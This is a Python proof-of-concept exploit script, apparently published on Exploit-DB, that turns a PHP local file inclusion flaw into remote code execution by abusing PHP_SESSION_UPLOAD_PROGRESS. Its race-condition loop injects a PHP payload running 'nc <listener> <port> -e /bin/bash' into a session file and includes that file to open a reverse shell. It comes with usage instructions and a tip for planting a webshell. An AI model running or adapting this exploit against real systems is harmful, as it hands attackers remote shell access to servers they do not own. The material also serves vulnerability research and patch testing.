"""
Exploiting PHP_SESSION_UPLOAD_PROGRESS 
LFI to RCE
https://www.exploit-db.com/exploits/50156
S1lv3r | Faisal Alhadlaq | 26/7/2021 

Usage :

python3 poc.p <Target URL> <ListnerIP> <ListnerPORT>
python3 poc.py https://xyz.xyz 192.168.1.15 1337
The Script will return a reverse shell using netcat.

# You need to change the lfi parameter in your case(LINE 44) and you can put a webshell if you dont want a rev shell!  
"""
#!/usr/bin/python3
import requests
import threading
import datetime
import sys

x = datetime.datetime.now()
addSeconds = datetime.timedelta(0, 10)
newDatetime = x + addSeconds

def fuzz():
	targetIP = sys.argv[1]
	listnerIP = sys.argv[2]
	listnerPORT = sys.argv[3]
	global newDatetime
	while True:
		try:
			if datetime.datetime.now() > newDatetime:
				exit()
			# proxies = {
			#     "http": "http://127.0.0.1:8080",
			#    	"https": "https://127.0.0.1:8080",
			#    	}
			sessionName = "SiLvER"
			url = targetIP
			s = requests.Session()
			cookies = {'PHPSESSID': sessionName}
			files = {'PHP_SESSION_UPLOAD_PROGRESS': (None, '<?php `nc '+ listnerIP +' '+ listnerPORT + ' -e /bin/bash`;?>'), 'file': ('anyThinG', 'Abusing PHP_SESSION_UPLOAD_PROGRESS By Faisal Alhadlaq '*100, 'application/octet-stream')}
			# You need to change the parameter in your case , here the vulnerabile parameter is (lfi)
			params = (('lfi', '/var/lib/php/sessions/sess_'+sessionName),)
			x = s.post(url, files=files, params=params, cookies=cookies, allow_redirects=False, verify=False)#, proxies=proxies
		
		except Exception as error:
			print(error)
			exit()
def main():
	print("\n(+) PoC for Abusing PHP_SESSION_UPLOAD_PROGRESS By SiLvER\n")
	threads = []
	for _ in range(20):
		t = threading.Thread(target=fuzz)
		t.start()
		threads.append(t)
	for thread in threads:
		thread.join

if __name__ == "__main__":
    if len(sys.argv) < 4:
        print("\n(-) Usage: {} <Target URL> <ListnerIP> <ListnerPORT>".format(sys.argv[0]))
        print("(-) eg: {} https://xyz.xyz 192.168.1.15 1337 ".format(sys.argv[0]))
        print("\n(=) By SiLvER \n")
        exit()  
    else:
    	main()
